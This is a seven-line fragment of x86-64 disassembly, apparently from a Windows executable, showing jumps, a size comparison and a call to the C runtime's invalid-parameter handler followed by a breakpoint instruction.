jmp 0x140002ac0
cmp rax, 0xf
jbe 0x140002a7f
lea rdx, [rax + 1]
jmp 0x140002a52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3